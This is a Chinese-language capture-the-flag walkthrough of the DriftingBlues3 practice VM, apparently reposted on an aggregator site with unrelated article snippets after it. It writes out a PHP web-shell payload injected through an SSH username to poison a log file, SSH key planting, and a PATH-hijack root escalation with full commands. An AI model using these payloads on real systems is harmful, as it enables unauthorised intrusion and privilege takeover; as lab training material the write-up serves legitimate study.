driftingblues3靶机详解

news2024/9/24 1:15:05

driftingblues3靶机复盘

打完这个靶机后发现自己最近一段时间进步了很多,并且有了一些自己的思想。

image-20230701220551524

这里扫除来一个22和80端口,大概率是要用到ssh远程登陆的。

image-20230701220607149

扫描ip的同时扫描了一下目录,发现扫描出来很多目录,这里我还很窃喜,当我尝试的时候发现很多目录都是个坑,是个恶作剧,只有一个/robots.txt目录是有点用的。

image-20230701221317469

在这里面发现一个目录,我们进去后发现又一个新目录,让我们检查这个目录。

image-20230701221342677

image-20230701221247567

在这里面我们发现一个base64编码

image-20230701221258029

连续解码了两次出现一个新的目录。

image-20230701221427873

根据上面的英文提醒说这是一个ssh登陆的日志文件。

这个文件的作用就是你的每次登陆都会写在这里面,不管登陆成功与否。

image-20230701221936312

利用这个机制我们就可以写一段php木马进去,用户名的地方写上我们的木马进行注入,刷新一下ssh日志文件发现有了这条记录,但是php代码不见了,这说明代码执行成功了。

ssh 'xxx<?php @eval($_POST['a'])?>'@192.168.102.134

image-20230701223001230

image-20230701223017055

利用中国蚁剑连接一下。

image-20230701223657562

然后打开中国蚁剑的终端进行一个反弹shell。

image-20230701225024441

image-20230701225032075

反弹成功后用python美化一下命令行。并且在home目录下发现一个robertj的用户。

image-20230701225607943

进来以后我们发现这个用户里面有个.ssh,是可以远程连接的,并且其他用户的权限为rwx。利用这个机制我们就可以把我们本机的ssh公钥导入到这个文件里面。

image-20230701225624672

在我们本地kali中创建私钥并指定位置,这样公钥也会自动生成。

image-20230702110224463

第一个是私钥,第二个是公钥。

image-20230702110305942

开启一个服务,把私钥传给我们的靶机。

image-20230702110326414

在靶机里面公钥的文件名需要修改为authorized_keys这样才可以。

image-20230702110154435

在kali上就可以直接免密登陆这个用户了。

image-20230702110344941

搜索了一下拥有root权限的文件,发现有一个getinfo文件。

image-20230702110723665

cat了一下发现这里面的内容,其实就是运行了以下这三条命令。

ip a
cat /etc/hosts
uname -a

image-20230702110845974

这里面既然会用root权限运行,ip a,cat,uname -a这些命令,我们就可以利用环境变量修改里面的内容来提权。

image-20230702111915299

比如说我们想利用cat命令来提权,cat命令的真实目录是/usr/bin/cat,我们可以把/tmp添加进环境变量,在/tmp中创建一个cat文件,这样getinfo这个文件运行的时候就会运行我们这个cat,实则上是我们的提权命令。

所以我们可以

cd /tmp
export PATH="/tmp:$PATH"  #这样就把/tmp目录放环境变量的第一个了
touch cat
vi cat #在cat文件中添加命令/bin/bash
chmod +x cat #添加执行权限
getinfo #执行getinfo文件
id #这时候查看我们就有了root权限

image-20230702112805297

这样就发现我们拥有了root权限,顺利夺旗。

image-20230702113427550

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/739332.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux中miniconda的重装问题

linux中miniconda的重装问题Linux安装condaconda使用yaml创建虚拟环境 注意问题&#xff1a; 安装minconda时&#xff1a; 安装好之后&#xff0c;把别人的环境直接复制到自己的‘miniconda3/envs’下&#xff0c;再修改该文件的拥有者和群组 source .bashrc 重新激活 问题…

虚幻引擎程序化资源生成框架PCG 之 UPCGBlueprintElement源码笔记(一)

UPCGBlueprintElement是PCGGraph中自定义节点的基类&#xff0c;但官方目前还没有给出详细的文档&#xff0c;所以从源代码里找点答案。 文章目录 可覆盖函数&#xff08;Override Functions&#xff09;Excute 和 Excute with ContextLoop Body函数和Loop函数Point Loop Body和…

LabVIEW-通过子VI实现组合数

一、题目 已知组合数 请根据这一计算规则&#xff0c;封装设计子程序&#xff0c;实现的计算&#xff0c;并编写测试程序验证子VI设计的正确性。 二、过程 设置数值输入控件的“属性”-“数据输入”-“最小值”为1&#xff0c;当输入值为0时强制转换为1。在程序框图界面放置…

更新换代IDEA和插件啦

1.背景介绍 在2019年的时候接触到IDEA了&#xff0c;本站也先后学习了IDEA的相关知识&#xff0c;当时一直到3个月前也一直都使用的是IDEA2018.2的版本&#xff0c;常用的各种插件也都是基于这个版本应用的不亦乐乎。期间也有在自己的电脑中体验过2021的版本&#xff0c;但是办…

顺序容器Primer

顺序容器在以下方面都有不同的性能折衷&#xff1a; 1.像容器中添加和删除元素的代价&#xff1b; 2.非顺序访问容器中元素的代价&#xff1b; 原因&#xff1a;容器的存储要么采用数组型&#xff0c;要么链式存储&#xff0c;前者导致不能随机添加删除&#xff0c;后者不能…

代码随想录算法训练营第六十二天—图论补充

理论基础&#xff1a; 第一题、所有可能的路径 力扣题目链接 class Solution { private:vector<vector<int>> result;vector<int> path;void dfs(vector<vector<int>>& graph, int x){if(x graph.size() - 1){result.push_back(path);retu…

【Python】面向对象 - 继承 ① ( 继承概念 | 继承语法 | 单继承与多继承 | 代码示例 )

文章目录 一、继承简介1、继承概念2、继承语法3、单继承与多继承 二、代码示例1、代码示例 - 单继承2、代码示例 - 多继承 一、继承简介 1、继承概念 继承 是 面向对象 特性之一 , ( 封装 - 继承 - 多态 ) 继承 可以 令一个类 从 另一个类 中 继承 该类的 属性 和 方法 , 继承…

创建数据库,删除数据库

1.创建数据库&#xff0c;删除数据库&#xff0c;查询创建数据的语句&#xff0c;使用数据库&#xff0c;查询当前默认的数据库以及使用的编码方式校验规则 2.数字&#xff0c;文本&#xff0c;日期在一章表中定义多个字段&#xff0c;要使用今天提到的所有的数据类型 登入roo…

SpringBoot的CSGO赛事管理系统

线考试系统的开发运用java技术&#xff0c;MIS的总体思想&#xff0c;以及MYSQL等技术的支持下共同完成了该系统的开发&#xff0c;实现了在线考试管理的信息化&#xff0c;使用户体验到更优秀的在线考试管理&#xff0c;管理员管理操作将更加方便&#xff0c;实现目标。

跳木桩----(爱思创)

源代码 #include <bits/stdc.h> using namespace std;int main(){int n,a[10010],maxd,ans0;cin>>n;for(int i1;i<n;i){cin>>a[i];}cin>>maxd;sort(a1,an1);for(int i1;i<n;i){if(a[i]-a[i-1]<maxd){ans;}else{break;}}cout<<ans<&…

NLP(五十九)使用FastChat部署百川大模型

本文将会介绍如何使用FastChat来部署国产大模型——百川模型。 在此之前&#xff0c;我们先来了解两个概念——百川模型和FastChat. 百川模型 2023年6月15日&#xff0c;被称为「中国 ChatGPT 梦之队」的百川智能公司&#xff0c;推出了 70 亿参数量的中英文预训练大模型——b…

Java 匿名对象

一、简介 1.1.含义 没有名字的对象 。以常规的创建对象的方法&#xff1a; AtomicInteger atomicInteger new AtomicInteger(100000);格式&#xff1a; 类名 变量名 new 类名(); 这样就完成了对象的创建。注意&#xff1a;&#xff08;&#xff09;内可以无参数&#xff0c…

津津乐道设计模式 - 状态模式详解(以交通信号灯举例带你快速理解)

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

Anaconda删除虚拟环境

# 查看环境&#xff0c;确定待删除环境位置 conda env list# 按照位置进行删除 conda env remove -p 要删除的虚拟环境路径举例&#xff1a; 删除py37执行如下命令&#xff1a; conda env remove -p D:\A\envs\py37

【GAN】基础知识(还在更新)

还没写完&#xff0c;别骂了.....遇到啥新东西也会补充进来 1. 损失函数/距离度量 1.1 KL散度 用来衡量分布之间距离 1.1.1 推导过程 如果想要对KL散度有一个比较好的理解&#xff0c;我其实建议看一下&#xff0c;从信息熵的角度入手我认为是一个比较好的切入点 相对熵&a…

RC-u5 树与二分图(二分图)

PTA | 程序设计类实验辅助教学平台 #include<bits/stdc.h> using namespace std; typedef long long ll; const int N2e610; int st[N]; ll n,m;//数据可能超int int h[N],ne[N],e[N],idx; void add(int a,int b) {e[idx]b,ne[idx]h[a],h[a]idx; } void dfs(int v,int co…

基于Web的数字孪生智慧养老院可视化云平台

前言 我国已经迈入老龄化社会&#xff0c;老龄化社会中养老已然成为社会普遍关注的焦点&#xff0c;智慧养老成为未来趋势。 建设背景 社会因素 养老床位数量也增长至2020年的821万张.每千名老人拥有养老床位增长至35张,相对于先进国家的50-7O张仍有较大差距。目前养老床位…

python_day4

def test():return 1, a, Truex, y, z test() print(f"x{x},y{y},z{z}")位置参数&#xff1a;调用时根据参数位置传递参数 关键字参数&#xff1a;调用时通过“键值”形式传参 def user(name, age, gender):print(f"name:{name},age:{age},gender:{gender}&q…

Python django开发

第一步&#xff1a;创建开发环境 mkvirtualenv py2_django 第二步&#xff1a;安装django pip install django2.2.5 # 选择2.2.5的原因是这个版本是持久维护的 pip list # 查看安装的信息 第三步&#xff1a;start 一个项目&#xff0c;并创建子应用 cd ~/Myproject # 选择…

4.2 图书借阅系统数据库设计 --MySQL

本文目录 前言一、背景和需求分析1.1 背景1.2 信息需求1.3 功能需求管理员学生 1.4 数据流图 二、概念结构设计1. 抽象出系统实体2. 局部E-R图2.1 学生 E-R图2.2 借阅证 E-R图2.3 图书 E-R图2.4 管理员 E-R图2.5 公告 E-R图2.6 申请 E-R图2.7 借阅 E-R图2.8 评论 E-R图2.9 收藏…